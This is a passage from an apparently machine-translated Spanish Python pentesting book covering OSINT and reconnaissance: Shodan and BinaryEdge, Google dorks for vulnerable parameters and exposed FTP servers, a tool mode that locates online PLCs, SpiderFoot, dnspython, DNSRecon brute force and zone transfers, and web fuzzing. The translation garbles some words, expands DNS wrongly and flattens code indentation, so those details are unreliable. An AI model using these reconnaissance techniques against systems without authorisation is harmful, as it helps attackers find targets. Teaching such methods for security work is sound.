aleatoriamente un agente de usuario de una lista de 1000 que
se puede encontrar en el repositorio
( https://github.com/p1ngul1n0/blackbird/blob/main/user
agents.txt ).
El propósito de elegir aleatoriamente un agente de usuario de
esta lista es evitar el bloqueo de solicitudes. El primer paso es
instalar las dependencias que tendremos en
el requirements.txtarchivo:
$ vi requirements.txt
aiohttp==3.8.1
beautifulsoup4==4.11.1
colorama==0.4.4
Flask==2.1.1
Flask_Cors==3.0.10
requests==2.28.1
gunicorn
$ pip install -r requirements.txt
El uso básico de la herramienta es buscar por nombre de
usuario:
$ python blackbird.py -u <username>
También tenemos elOpción de obtener un listado de los sitios
soportados por la herramienta con el siguiente comando:
$ python blackbird.py --list-sites
También tenemos la posibilidadde ejecutar un servidor web
desarrollado en Flask, para acceder a
la http://127.0.0.1:5000dirección desde nuestro navegador:
$ python blackbird.py --web
El motor de búsqueda Shodan
A diferencia de otros motores de búsqueda, Shodan no busca
contenido web, sino que indexa información sobre sitios web
públicos.expuestoservidores a partir de los encabezados de las
solicitudes HTTP, como el sistema operativo, los banners, el
tipo de servidor y las versiones.
La búsqueda de ShodanOfrece la posibilidad de usar
operadores de búsqueda avanzados (también conocidos como
dorks) y filtros avanzados desde la interfaz web para buscar
rápidamente objetivos específicos. Shodan proporciona un
conjunto de filtros especiales que permiten optimizar los
resultados de búsqueda. Entre estos filtros, destacan los
siguientes:
después/antes : filtra los resultados por fecha
País : Filtra los resultados y encuentra dispositivos en un
país en particular.
Ciudad : Filtra los resultados y encuentra dispositivos en
una ciudad en particular.
geo : filtra los resultados por latitud/longitud
nombre de host : busca dispositivos que coincidan con
un nombre de host en particular
net : filtra los resultados por un rango específico de IP o
un segmento de red
os : Realiza una búsqueda de un sistema operativo
específico
puerto : Nos permite filtrar por número de puerto
org : busca un nombre de organización específico
La principal ventaja de los filtros de búsqueda es que nos
permiten tener un mayor control sobre lo que buscamos y los
resultados que podemos obtener. Por ejemplo, podemos
combinar diferentes filtros para filtrar simultáneamente por
país, dirección IP y número de puerto.
El motor de búsqueda BinaryEdge
BinaryEdge es un servicio queContiene una base de datos con
información relacionada con los dominios que el servicio
analiza dinámicamente en tiempo real.Se puede acceder al
servicio en el siguiente enlace: https://app.binaryedge.io .
Una de las ventajas de este serviciofrente a otros como Shodan
es que ofrece utilidades específicas como enumerar
subdominios y obtener información de una red distribuida de
sensores (Honeypots), que recogen datos de cada conexión
que reciben.
Para usar este servicio, es necesario registrarse para usar el
buscador y aplicar una serie de filtros similares a los de
Shodan. La versión gratuita incluye hasta 250 solicitudes y
acceso a la API, lo cual puede ser más que suficiente para un
uso moderado.
Usando el módulo pybinaryedge de Python
( https://pypi.org/project/pybinaryedge/ ), podemos
realizarBusca de la misma manera que usamos la interfaz web.
Puedes instalarlo con el siguiente comando:
$ sudo pip3 install pybinaryedge
Esta biblioteca también implementa una herramienta CLI
binaryedge:
usage: binaryedge [-h] {config,ip,search,dataleaks} ...
Request BinaryEdge API
positional arguments:
{config,ip,search,dataleaks}
Commands
config Configure pybinary edge
ip Query an IP address
search Search in the database
dataleaks Search in the leaks database
domains Search information on a domain
optional arguments:
-h, --help show this help message and exit
Para poder realizar búsquedas primero necesitamos establecer
a nivel de configuración la clave que obtenemos al darnos de
alta en el servicio.
$ binaryedge config --key
usage: binaryedge config [-h] [--key KEY]
binaryedge config: error: argument --key/-k: expected one
argument
Ahora que ya sabes elConceptos básicos sobre cómoObtener
información del servidor con herramientas OSINT, pasemos a
aprender cómo obtener información usando Google Dorks.
Obtener información usando Google Dorks
Google Dorking es una técnicaque consiste en aplicar la
búsqueda avanzada de Google para encontrar información
específica en internet filtrando los resultadoscon operadores,
conocidos como dorks.
Esta técnica OSINT es comúnmente utilizada por periodistas,
investigadores y, por supuesto, en el campo de la
ciberseguridad. En este campo, es una técnica muy interesante
para la fase de reconocimiento, ya que, gracias a ella, será
posible listar diferentes activos, buscar versiones vulnerables,
encontrar datos de interés e incluso detectar fugas de
información del objetivo en cuestión.
Cabe destacar que Dorking no es exclusivo de Google. Otros
motores de búsqueda como Bing y DuckDuckGo también
utilizan esta técnica. Dado que cada uno tiene diferentes
métodos para indexar la información, los resultados que
muestran, con dorks equivalentes, pueden variar, lo que
enriquecerá las investigaciones.
Cabe destacar que Google cuenta con un sistema de rastreo
muy potente que indexa todo el contenido de internet,
incluyendo información sensible. De esta forma, con Google
Dorking, podremos obtener información valiosa para
investigaciones, incluyendo información sobre
personas/organizaciones, contraseñas, documentos
confidenciales, versiones de servicios vulnerables y directorios
expuestos.
Google Dorks
Para postularse con éxitoEn Google Dorking, será necesario
comprender los operadores más comunes. Estos operadores
son comandos que se utilizan para filtrar la información
indexada de diferentes maneras, lo que permite la búsqueda
avanzada.
A continuación se muestran los operadores más utilizados y su
propósito. También es interesante observar que el uso de
operadores puede sercombinados para hacer la búsqueda más
refinada.
sitio : busca el sitio web especificado
filetype : Busca resultados que tengan la extensión de
archivo especificada
inurl : busca la palabra especificada en una URL
intext : Resultados en páginas en cuyo contenido aparece
la palabra especificada
intitle : Resultados en páginas en cuyo título aparece la
palabra especificada
allinurl : busca todas las palabras especificadas en una
URL
allintext : Resultados en páginas en las que todas las
palabras especificadas aparecen en el contenido
allintitle : Resultados en páginas en las que todas las
palabras especificadas aparecen en el título
caché : mostrará la versión en caché del dominio
analizado
En el siguiente repositorio encontramos una lista de dorks que
podemos utilizar para realizar búsquedas en los principales
buscadores: https://github.com/cipher387/Dorks-
collections-list .
Podemos refinar aún más nuestra búsqueda con los siguientes
operadores:
Para buscar archivos PDF podríamos utilizar el siguiente
dork:filetype:pdf
Para los parámetros de búsqueda que pueden ser
vulnerables en una página escrita en PHP, podríamos
usarinurl:php?=id1
Para encontrar servidores FTP expuestos, podemos
utilizarintitle:"index of" inurl:ftp
Para encontrar más ejemplos de Dorks, la GHDB ( Google
Hacking Database) https://www.exploit-db.com/google-
hacking-database es un proyecto de código abierto que
recopila varios dorks conocidos que puedenRevelar información
interesante y probablemente confidencial disponible
públicamente en internet. Este proyecto es mantenido por
Offensive Security, una organización reconocida en el mundo
de la ciberseguridad. En este proyecto, podrás ver información
bastante avanzada, clasificada en diferentes categorías, que te
será útil para realizar investigaciones.
Katana: una herramienta de Python para hackear
Google
Katana ( https://github.com/TebbaaX/Katana ) es una
herramienta sencillaHerramienta de Python que automatiza el
Google Hacking/DorkingProceso. Puede usar el siguiente
comando para instalar requisitos mediante el administrador de
paquetes en Python:
$ python3 -m pip install -r requirements.txt
Una vez instaladas las dependencias, podemos ejecutarlo con
la -hopción de ver las diferentes opciones que ofrece. En este
caso, ofrece cuatro opciones básicas de funcionamiento según
nuestras necesidades:
$ python kds.py -h
usage: katana-ds.py [-h] [-g] [-s] [-t] [-p]
optional arguments:
-h, --help show this help message and exit
-g, --google google mode
-s, --scada scada mode
-t, --tor Tor mode
-p, --proxy Proxy mode
El modo Google te da una entrada para configurar el "Dork".
Puedes usar la base de datos de hacking de Google para saber
qué comando usar. El modo SCADA busca en Google PLC que
estén en línea y realicen múltiples solicitudes que puedan
provocar el bloqueo de nuestra IP. Por este motivo, es posible
que debamos probar diferentes TLD. El modo proxy busca
servidores proxy y los muestra. Mostrará 100 servidores proxy
diferentes cada vez.
Cazador de tontos
Dorks hunter ( https://github.com/six2dez/dorks_hunter )
es una utilidadque busca información útil de Google.
Puedesinstalarlo y ejecutarlo con los siguientes comandos:
$ git clone https://github.com/six2dez/dorks_hunter
$ cd dorks_hunter
$ pip3 install -r requirements.txt
$ python dorks_hunter.py -h
usage: dorks_hunter.py [-h] --domain DOMAIN [--results
RESULTS] [--output OUTPUT]
Simple Google dork search
optional arguments:
-h, --help show this help message and exit
--domain DOMAIN, -d DOMAIN
Domain to scan
--results RESULTS, -r RESULTS
Number of results per search, default 10
--output OUTPUT, -o OUTPUT
Output file
Su funcionamiento básicoconsiste en utilizar el -dparámetro
para indicar el nombre de dominio sobre el que queremos
realizar la búsqueda:
$ python dorks_hunter.py -d python.org
# .git folders (https://www.google.com/search?q=inurl%3A
%5C%22%2F.git%5C%22%20python.org%20-github)
https://mail.python.org/pipermail/python-dev/2018-
September/155058.html
https://mail.python.org/pipermail/python-checkins/2012-June/
114493.html
https://mail.python.org/pipermail/python-bugs-list/2016-
March/295552.html
https://www.python.org/search/?q=if%20then%20else
%20syntax&page=5
https://www.programcreek.com/python/example/63471/
git.__version__
https://www.mail-archive.com/search?l=python-
dev@python.org&q=subject:%22Re%5C%3A+%5C%5BPython
%5C-Dev%5C%5D+make+patchcheck+and+git+path
%22&o=newest&f=1
https://stackoverflow.com/questions/5837948/how-to-skip-hg-
git-svn-directories-while-recursing-tree-in-python
https://stackoverflow.com/questions/58280196/how-can-i-
include-python-module-from-an-outer-folder-in-the-docker-
image
https://stackoverflow.com/questions/25229592/python-how-to-
implement-something-like-gitignore-behavior
https://stackoverflow.com/questions/48046688/tried-to-install-
a-python-package-but-encountered-cannot-find-lgcc-s-error
....
En esta sección, hemos analizado diversas herramientas que
nos permiten obtener información sobre servidores y dominios.
Esta información podría ser útil en un proceso de pentesting
para detectar posibles vulnerabilidades, como información
filtrada y expuesta.
Ahora que conoce los conceptos básicos sobre cómo obtener
información del servidor con las herramientas de Google Dorks,
pasemos a aprender cómo obtener información sobre
servidores de nombres, servidores de correo y direcciones
IPv4/IPv6 de un dominio específico.
Obteniendo información usando SpiderFoot
Spiderfoot https://www.spiderfoot.net es una herramienta
de reconocimiento que realiza consultas en más de 100 bases
de datos públicas.fuentes para recopilar dominios, nombres,
correos electrónicos, direcciones, etc... Como muchas de las
herramientas que hemos comentado, está altamente
automatizada y nos permitirá recopilar fácilmente una gran
cantidad de información.
Este proyecto ( https://github.com/smicallef/spiderfoot )
está desarrollado en Python y, aunque puede utilizarse como
herramienta desde la línea de comandos, la forma más práctica
de trabajar es configurar un servidor web que permita realizar
los procesos de investigación. Esta herramienta se puede
instalar con las siguientes instrucciones:
$ git clone https://github.com/smicallef/spiderfoot.git
$ cd spiderfoot
$ pip3 install -r requirements.txt
$ python3 sf.py -l 127.0.0.1:5001
Otra forma de ejecutar el servidor es usar una imagen de
Docker. En el repositorio, podemos ver un Dockerfile que
contiene el manifiesto y la declaración de cómo se debe crear
la imagen en Docker usando el siguiente comando:
$ sudo docker build . Spiderfoot
Una vez finalizado este proceso de creación de nuestra imagen,
ya podemos utilizar el contenedor ejecutándolo de la siguiente
manera:
$ sudo docker run -p 5001:5001 spiderfoot
Una vez que el servidor esté en funcionamiento, basta con
abrir un navegador web e ir al puerto que se ha indicado y,
como se puede ver en la siguiente imagen, el menú principal
tiene 3 secciones: Nuevo Escaneo , Escaneos y Ajustes .
Figura 6.9: Menú principal de Spiderfoot
En la sección de Ajustes se configuran las integraciones con
plataformas de terceros, entre las que se encuentran
herramientascomo Shodan, Hunter.io, Haveibeenpwned,
ipinfo.io, phishtank y Robtex, entre muchos otros.
Figura 6.10: Configuración de Spiderfoot
SpiderFoot cuenta con más de 200 integraciones con servicios
disponibles en internet. Algunos requieren una clave API, pero
también ofrece otros servicios completamente abiertos que no
requieren una cuenta para su uso.
Dado que existen muchos servicios que se pueden integrar en
una instancia de SpiderFoot, es posible importar y exportar
claves de API. Por ejemplo, si tiene una instalación de
herramientas con varios servicios configurados y API
establecidas, puede exportar dicha configuración e importarla
a otra instalación de SpiderFoot, evitando así perder tiempo
reconfigurando estas integraciones.
Una vez realizadas las configuracionesUna vez aplicados los
datos de interés para el objetivo a analizar, el siguiente paso es
iniciar un análisis desde la sección "Nuevo Análisis" . El
objetivo del análisis puede ser un nombre de dominio, una
dirección IP, un correo electrónico o un nombre de usuario.
Además, se puede configurar el tipo de análisis, que puede ser
por caso de uso, por datos requeridos o por módulo. Lo más
común es marcar una de las opciones que aparecen en " Por
caso de uso" , ya que cargan los módulos necesarios para
realizar diferentes tipos de investigaciones:
Todo : Habilita todos los módulos e integraciones
configurados en SpiderFoot. Esto significa que se puede
obtener mucha más información del objetivo, pero
también que será un proceso más lento y probablemente
más intrusivo.
Huella : Este tipo de investigación carga los módulos que
permiten obtener información sobre el objetivo mediante
motores de búsqueda y procesos de rastreo. Es un tipo de
investigación adecuado para obtener información sobre el
entorno de red del objetivo.
Investigar : Este tipo de investigación tiene como
objetivo determinar si el objetivo es una entidad
maliciosa, por lo tanto busca servicios relacionados con
listas negras, sitios conocidos de distribución de malware,
etc.
Pasiva : Este es el tipo de investigación más ligero de
todos, está diseñado para ser menos intrusivo y solo
carga los módulos que realizan la recopilación de
información básica sobre nuestro objetivo.
Una vez seleccionado el objetivo y el tipo de investigación a
lanzar, solo queda iniciar el escaneo y esperar a que SpiderFoot
haga su trabajo.
Figura 6.11: Resultados de SpiderFoot
Los resultados seránse muestra en la pestaña Escaneos ,
donde aparece el estado de cada escaneo y se puede acceder
para verificar qué detalles ha podido extraer.
Módulos SpiderFoot
SpiderFoot funciona como un sistema abiertoHerramienta de
inteligencia de fuentes que se integra con diferentes fuentes de
datos disponibles y utiliza diversos métodos de análisis de
datos, lo que facilita la navegación. Esta herramienta cuenta
con varios módulos que corresponden a los servicios que se
revisarán.
Figura 6.12: Módulos SpiderFoot
SpiderFoot puede ayudarnos en las fases de reconocimiento y
exploración de una auditoría, especialmente al estudiar la
huella de datos. También es útil en cualquier contexto donde
queramos realizar minería de datos.o buscar información
pública sobre un objetivo. Dicho objetivo puede ser una
dirección IP, un dominio, un subdominio o una subred.
Obtener información sobre servidores DNS con DNSPython y
DNSRecon
En esta sección crearemos unCliente DNS en Python y vea
cómo este cliente obtiene información sobre servidores de
nombres, servidores de correo y direcciones IPv4/IPv6.
El protocolo DNS
DNS significa Servidor de nombres de dominio , el
dominioServicio de nombres utilizado para vincular direcciones
IP con nombres de dominio. DNS es una base de datos
distribuida globalmente de asignaciones entreNombres de host
y direcciones IP. Es un sistema abierto y jerárquico, y muchas
organizaciones optan por utilizar sus propios servidores DNS.
Estos servidores permiten que otras máquinas resuelvan las
solicitudes que se originan en la propia red interna para
resolver nombres de dominio. El protocolo DNS se utiliza para
diferentes propósitos. Los más comunes son los siguientes:
Resolución de nombres : Dado el nombre completo de
un host, puede obtener su dirección IP.
Resolución inversa de direcciones : Este es el
mecanismo inverso del anterior. Permite, dada una
dirección IP, obtener el nombre asociado a ella.
Resolución del servidor de correo : dado un nombre
de dominio de servidor de correo (por
ejemplo, gmail.com), puede obtener el servidor a través
del cual se realiza la comunicación (por ejemplo, gmail-
smtp-in.l.google.com).
DNS también es un protocolo que los dispositivos utilizan para
consultar servidores DNS y resolver nombres de host en
direcciones IP (y viceversa). La herramienta nslookup
viene...Funciona con la mayoría de los sistemas Linux y
Windows, y nos permite consultar el DNS desde la línea de
comandos. Con este nslookupcomando, podemos averiguar si
el python.orghost tiene la dirección IPv4 45.55.99.72:
$ nslookup python.org
Non-authoritative answer:
Name: python.org
Address: 45.55.99.72
Ahora que ya conoce el protocolo DNS, pasemos a aprender
sobre el módulo DNSPython.
El módulo DNSPython
Python proporciona un módulo DNS que esSe utiliza para
gestionar la traducción de nombres de dominio a direcciones IP.
dnspython ( https://www.dnspython.org ) es una biblioteca
que proporciona un kit de herramientas DNS para Python y le
permite trabajar en unAlto nivel mediante consultas. También
permite acceso de bajo nivel para la manipulación de zonas y
actualizaciones dinámicas de registros, mensajes y nombres.
El módulo dnspython proporcionaEl dns.resolver()método
permite encontrar múltiples registros de un nombre de
dominio. La función toma como parámetros el nombre de
dominio y el tipo de registro. A continuación, se enumeran
algunos de los tipos de registro:
Registro AAAA : Esta es una IPRegistro de dirección, que
se utiliza para encontrar la IP del equipo conectado al
dominio. Conceptualmente, es similar al registro A, pero
especifica solo la dirección IPv6 del servidor en lugar de la
IP.
Registro NS : El registro del servidor de
nombres ( NS )Proporciona información sobre qué
servidor tiene autoridad para el dominio dado, es decir,
qué servidor tiene los registros DNS reales. Es posible
tener varios registros NS para un dominio, incluyendo
servidores de nombres principal y de respaldo.
Registros MX : MX significa correoRegistro de
intercambiador, que es un registro de recursos que
especifica el servidor de correo responsable de aceptar
correos electrónicos en nombre del dominio. Tiene valores
de preferencia según la priorización del correo si existen
varios servidores de correo para equilibrar la carga y la
redundancia.
Registros SOA : SOA significa Iniciode Autoridad, que es
un tipo de registro de recursos que contiene información
sobre la administración de la zona, especialmente
relacionada con las transferencias de zona definidas por el
administrador de la zona.
Registro CNAME : CNAME significa registro de nombre
canónico, que se utiliza para asignar el nombre de
dominio como un alias para elOtro dominio. Siempre
apunta a otro dominio y nunca directamente a una IP.
Registro TXT : Estos registros contienen la información
de texto de las fuentes que están fuera del dominio.
Registros TXTSe pueden utilizar para diversos fines, por
ejemplo, Google los utiliza para verificar la propiedad del
dominio y garantizar la seguridad del correo electrónico.
Este módulo permiteOperaciones para consultar registros en
servidores DNS. La instalación puede realizarse mediante el
repositorio de Python o descargando el código fuente de
GitHub desde el
repositorio https://github.com/rthalley/dnspython y
ejecutando el setup.pyarchivo de instalación.
La forma más rápida de instalarla es usando el repositorio pip.
Puedes instalar esta biblioteca usando el easy_installcomando
o el pipcomando:
$ pip install dnspython
Los paquetes principales para estoLos módulos son los
siguientes:
importar dns
importar dns.resolver
La información que podemos obtener para un dominio
específico es la siguiente:
Registros para servidores de correo :response_MX =
dns.resolver.query('domain','MX')
Registros para servidores de nombres :response_NS
= dns.resolver.query('domain','NS')
Registros para direcciones IPV4 :response_ipv4 =
dns.resolver.query('domain','A')
Registros para direcciones IPV6 :response_ipv6 =
dns.resolver.query('domain','AAAA')
En el siguiente ejemplo, utilizamos el resolve()método para
obtener una lista de direcciones IP de varios dominios host con
el dns.resolversubmódulo. Puede encontrar el siguiente código
en el dns_resolver.pyarchivo dentro de la dnspythoncarpeta:
import dns.resolver
hosts = ["python.org", "google.com", "microsoft.com"]
for host in hosts:
print(host)
ip = dns.resolver.resolve(host, "A")
for i in ip:
print(i)
Para cada dominio, obtenemos una lista de direcciones IP:
$ python dns_resolver.py
python.org
138.197.63.241
google.com
142.250.201.78
microsoft.com
20.81.111.85
20.103.85.33
20.53.203.50
20.112.52.29
20.84.181.62
También podemos comprobar si un dominio es el subdominio
de otro con el is_subdomain()método yComprueba si un
dominio es un superdominio de otro mediante
el is_superdomain()método. Un superdominio es el dominio
principal.Dominio de todos sus subdominios. Puede encontrar
el siguiente código en el check_domains.pyarchivo dentro de
la dnspythoncarpeta:
import argparse
import dns.name
def main(domain1, domain2):
domain1 = dns.name.from_text(domain1)
domain2 = dns.name.from_text(domain2)
print("{} is subdomain of {}: {}".format(domain1,
domain2,domain1.is_subdomain(domain2)))
print("{} is superdomain of {}:{}
".format(domain1,domain2,domain1.is_superdomain(domain2))
)
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Check 2
domains with dns Python')
parser.add_argument('--domain1', action="store",
dest="domain1", default='python.org')
parser.add_argument('--domain2', action="store",
dest="domain2", default='docs.python.org')
given_args = parser.parse_args()
domain1 = given_args.domain1
domain2 = given_args.domain2
main (domain1, domain2)
Al ejecutar el código anterior, podemos ver que devuelve que
el python.orgdominio es un superdominio de mail.python.org:
$ python check_domains.py --domain1 python.org --domain2
mail.python.org
python.org. is subdomain of mail.python.org.: False
python.org. is superdomain of mail.python.org.:True
Podríamos obtener un dominionombre de una dirección IP
utilizando el dns.reversenamesubmódulo y
el from_address()método:
>>> import dns.reversename
>>> domain = dns.reversename.from_address("ip_address")
Podríamos obtener una dirección IP de un nombre de dominio
utilizando el dns.reversenamesubmódulo y
el to_address()método:
>>> import dns.reversename
>>> ip = dns.reversename.to_address("domain")
Si desea realizar una operación inversaPara la búsqueda, puede
usar los métodos anteriores, como se muestra en el siguiente
ejemplo. Puede encontrar el siguiente código en el DNSPython-
reverse-lookup.pyarchivo dentro de la dnspythoncarpeta:
import dns.reversename
domain = dns.reversename.from_address("45.55.99.72")
print(domain)
print(dns.reversename.to_address(domain))
En el siguiente ejemplo, extraeremos información relacionada
con todos los registros
( 'A','AAAA','NS','SOA','MX','MF','MD','TXT','CNAME','PTR'). Un
registro de puntero (PTR) resuelve una dirección IP en un
nombre de dominio. La conversión de una dirección IP en un
nombre de dominio se conoce como búsqueda inversa en el
DNS.
Puede encontrar el siguiente código en
el dns_python_records.pyarchivo dentro de
la dnspythoncarpeta:
import dns.resolver
def main(domain):
records = ['A','AAAA','NS','SOA','MX','TXT','CNAME','PTR']
for record in records:
try:
responses = dns.resolver.resolve(domain, record)
print("\nRecord response ",record)
print("-----------------------------------")
for response in responses:
print(response)
except Exception as exception:
print("Cannot resolve query for record",record)
print("Error for obtaining record information:",
exception)
if __name__ == '__main__':
try:
main('python.org')
except KeyboardInterrupt:
exit()
En el guión anterior, nosotrosSe utilizó el resolve()método para
obtener respuestas de muchos registros disponibles en elLista
de registros. En el main()método, pasamos como parámetro el
dominio del que queremos extraer información. La siguiente
salida puede ser diferente a la obtenida por el usuario según la
ubicación desde la que se realicen las consultas:
$ python dns_python_records.py
Record response A
-----------------------------------
138.197.63.241
Cannot resolve query for record AAAA
Error for obtaining record information: The DNS response does
not contain an answer to the question: python.org. IN AAAA
Record response NS
-----------------------------------
ns-484.awsdns-60.com.
ns-981.awsdns-58.net.
ns-1134.awsdns-13.org.
ns-2046.awsdns-63.co.uk.
Record response SOA
-----------------------------------
ns-2046.awsdns-63.co.uk. awsdns-hostmaster.amazon.com. 1
7200 900 1209600 86400
Record response MX
-----------------------------------
50 mail.python.org.
Cannot resolve query for record TXT
Error for obtaining record information: The resolution lifetime
expired after 5.402 seconds: Server 192.168.18.1 UDP port 53
answered ; Server 192.168.18.1 TCP port 53 answered The DNS
operation timed out.; Server 192.168.18.1 UDP port 53
answered ; Server 192.168.18.1 TCP port 53 answered The DNS
operation timed out.; Server 192.168.18.1 UDP port 53
answered ; Server 192.168.18.1 TCP port 53 answered The DNS
operation timed out.
Cannot resolve query for record CNAME
Error for obtaining record information: The DNS response does
not contain an answer to the question: python.org. IN CNAME
Cannot resolve query for record PTR
Error for obtaining record information: The DNS response does
not contain an answer to the question: python.org. IN PTR
En la salida del script anterior, podemos ver cómo obtener
información del python.orgdominio.Puede ver información de
las direcciones IPv4 e IPv6, servidores de nombres y servidores
de correo.
La principal utilidad deEn comparación con otras herramientas
de consulta DNS como dig o nslookup , DNSPython puede
controlar el resultado de las consultas desde Python y luego
esta información se puede utilizar para otros fines en un script.
Reconocimiento de DNS
DNSRecon ( https://github.com/darkoperator/dnsrecon )
es una herramienta de escaneo y enumeración de DNS escrita
enPython, que le permite realizar diferentes tareas, como
enumeración de registros estándar para un dominio definido (A,
NS, SOA y MX), expansión de dominio de nivel superiorpara un
dominio definido, transferencia de zona contra todos los
registros NS para un dominio definido y búsqueda inversa
contra un rango de direcciones IP, proporcionando una
dirección IP inicial y final.
Este script verifica todos los registros DNS, lo que puede ser
útil para un investigador de seguridad para la enumeración
DNS en todo tipo de registros como SOA, NS, TXT, SVR, SPF,
etc.
Para instalar las dependencias de la herramienta, podemos
utilizar el siguiente comando:
$ pip3 install -r requirements.txt --no-warn-script-location
$ python dnsrecon.py -h
usage: dnsrecon.py [-h] [-d DOMAIN] [-n NS_SERVER] [-r
RANGE] [-D DICTIONARY] [-f] [-a] [-s] [-b] [-y] [-k] [-w] [-z] [--
threads THREADS]
[--lifetime LIFETIME] [--tcp] [--db DB] [-x XML] [-c
CSV] [-j JSON] [--iw] [--disable_check_recursion]
[--disable_check_bindversion] [-V] [-v] [-t TYPE]
optional arguments:
-h, --help show this help message and exit
-d DOMAIN, --domain DOMAIN
Target domain.
-n NS_SERVER, --name_server NS_SERVER
Domain server to use. If none is given, the SOA
of the target will be used. Multiple servers can be specified
using a comma separated list.
-r RANGE, --range RANGE
IP range for reverse lookup brute force in
formats (first-last) or in (range/bitmask).
-D DICTIONARY, --dictionary DICTIONARY
Dictionary file of subdomain and hostnames to
use for brute force.
-f Filter out of brute force domain lookup, records
that resolve to the wildcard defined IP address when saving
records.
-a Perform AXFR with standard enumeration.
-s Perform a reverse lookup of IPv4 ranges in the
SPF record with standard enumeration.
-b Perform Bing enumeration with standard
enumeration.
-y Perform Yandex enumeration with standard
enumeration.
-k Perform crt.sh enumeration with standard
enumeration.
-w Perform deep whois record analysis and
reverse lookup of IP ranges found through Whois when doing a
standard enumeration.
-z Performs a DNSSEC zone walk with standard
enumeration.
--threads THREADS Number of threads to use in reverse
lookups, forward lookups, brute force and SRV record
enumeration.
--lifetime LIFETIME Time to wait for a server to respond to a
query. default is 3.0
--tcp Use TCP protocol to make queries.
--db DB SQLite 3 file to save found records.
-x XML, --xml XML XML file to save found records.
-c CSV, --csv CSV Save output to a comma separated value
file.
-j JSON, --json JSON save output to a JSON file.
--iw Continue brute forcing a domain even if a
wildcard record is discovered.
--disable_check_recursion
Disables check for recursion on name servers
--disable_check_bindversion
Disables check for BIND version on name
servers
-V, --version Show DNSrecon version
-v, --verbose Enable verbose
-t TYPE, --type TYPE Type of enumeration to perform.
Possible types:
std: SOA, NS, A, AAAA, MX and SRV.
rvl: Reverse lookup of a given CIDR or IP
range.
brt: Brute force domains and hosts using a
given dictionary.
srv: SRV records.
axfr: Test all NS servers for a zone transfer.
bing: Perform Bing search for subdomains
and hosts.
yand: Perform Yandex search for
subdomains and hosts.
crt: Perform crt.sh search for subdomains
and hosts.
snoop: Perform cache snooping against all
NS servers for a given domain, testing
all with file containing the domains, file
given with -D option.
tld: Remove the TLD of given domain and
test against all TLDs registered in IANA.
zonewalk: Perform a DNSSEC zone walk using
NSEC records.
La forma más sencilla deUsar DNSRecon es definir el dominio
de destino de prueba mediante la -dopción. Si la -nopción oNo
se especifica el servidor de nombres a utilizar, se utilizará el
SOA del destino:
$ dnsrecon -d <domain>
$ python dnsrecon.py -d www.python.org
[*] std: Performing General Enumeration against:
www.python.org...
[-] DNSSEC is not configured for www.python.org
[*] SOA ns1.fastly.net 23.235.32.32
[*] CNAME www.python.org dualstack.python.map.fastly.net
[*] A dualstack.python.map.fastly.net 151.101.132.223
[*] CNAME www.python.org dualstack.python.map.fastly.net
[*] AAAA dualstack.python.map.fastly.net 2a04:4e42:1f::223
[*] Enumerating SRV Records
[-] No SRV Records Found for www.python.org
$ python dnsrecon.py -d www.python.com -t zonewalk
[*] Performing NSEC Zone Walk for www.python.com
[*] Getting SOA record for www.python.com
[-] This zone appears to be misconfigured, no SOA record
found.
[*] A www.python.com 3.96.23.237
[+] 1 records found
Una vez obtenidos los servidores de nombres, se podría realizar
una enumeración por fuerza bruta. Entre las principales
opciones,Puede destacar:
La -nopción define elServidor de dominio a utilizar.
La -Dopción define el archivo de diccionario de
subdominio o nombre de host que se utilizará para la
fuerza bruta.
La -t brtopción especifica el tipo de enumeración a
realizar: brtes para aplicar fuerza bruta a dominios y hosts
usando un diccionario definido:
$ dnsrecon -d <domain> -n <dns> -D <dictionary> -t brt
En el siguiente comando, utilizamos el zonetransfer.medominio
cuyos servidores de nombres permiten transferencias de zona
exitosas:
$ python dnsrecon.py -d zonetransfer.me -t axfr
[*] Checking for Zone Transfer for zonetransfer.me name
servers
[*] Resolving SOA Record
[+] SOA nsztm1.digi.ninja 81.4.108.41
[*] Resolving NS Records
[*] NS Servers found:
[+] NS nsztm1.digi.ninja 81.4.108.41
[+] NS nsztm2.digi.ninja 34.225.33.2
[*] Removing any duplicate NS server IP Addresses...
[*]
[*] Trying NS server 34.225.33.2
[+] 34.225.33.2 Has port 53 TCP Open
[+] Zone Transfer was successful!!
Este script también hace uso de los motores de búsqueda para
obtener subdominios:
bing : realiza búsquedas de Bing para subdominios y
hosts.
yand : Realizar búsquedas en Yandex de subdominios y
hosts.
crt : Realizar crt.shbúsqueda de subdominios y hosts:
$ dnsrecon -d <domain> -t bing
$ dnsrecon -d <domain> -t yand
$ dnsrecon -d <domain> -t crt
Ahora que conoce los conceptos básicos sobre cómo obtener
información sobre los registros DNS de un dominio específico,
pasemos a lo siguiente:Pasemos a aprender cómo obtener URL
y direccionesvulnerable a atacantes en aplicaciones web a
través de un proceso de fuzzing.
Obtener direcciones vulnerables en servidores con fuzzing
En esta sección aprenderemossobre el proceso de fuzzing y
cómo podemos usar esta práctica con proyectos de Python
para obtener URL y direcciones vulnerables a los atacantes.
El proceso de fuzzing
Un fuzzer es un programaDonde tenemos un archivo que
contiene las URL predichas para una aplicación o servidor
específico. Básicamente, realizamos una solicitud para cada
URL predicha y, si la respuesta es correcta, significa que hemos
encontrado una URL no pública o que está oculta, pero
posteriormente comprobaremos si podemos acceder a ella.
Como la mayoría de las condiciones explotables, el proceso de
fuzzing solo es útil contra sistemas que desinfectan la entrada
de forma inadecuada o que utilizan más datos de los que
pueden procesar. En general, el proceso de fuzzing consta de
las siguientes fases:
1. Identificar el objetivo : para fuzzear una aplicación,
debemos identificar la aplicación objetivo.
2. Identificación de entradas : la vulnerabilidad existe
porque la aplicación de destino acepta una entrada
malformada y la procesa sin desinfectarla.
3. Creación de datos difusos : después de obtener todos
los parámetros de entrada, debemos crear datos de
entrada no válidos para enviar a la aplicación de destino.
4. Fuzzing : Tras crear los datos de fuzzing, debemos
enviarlos a la aplicación de destino. Podemos usarlos para
monitorear excepciones al llamar a servicios.
5. Determinar la explotabilidad : después del fuzzing,
debemos verificar la entrada que tiene un
comportamiento inesperado o devolvió un seguimiento de
la pila.
Fuzzing web
El fuzzing web es una técnica utilizada para encontrar
vulnerabilidades web comunes, como vulnerabilidades de
inyección, XSS, búsquedas en el panel de administración, etc.
Esta técnica consiste enEnvía datos aleatorios a la URL donde
realizamos el ataque. Por ejemplo, una página web cuya URL
es testphp.vulnweb.com. Al navegar por la página, nos damos
cuenta de que visitamos diferentes rutas dentro de la URL,
como:
http://testphp.vulnweb.com/index.php
http://testphp.vulnweb.com/login.php
Una de las formas que tenemos para encontrar el panel de
administración es probar aleatoriamente:
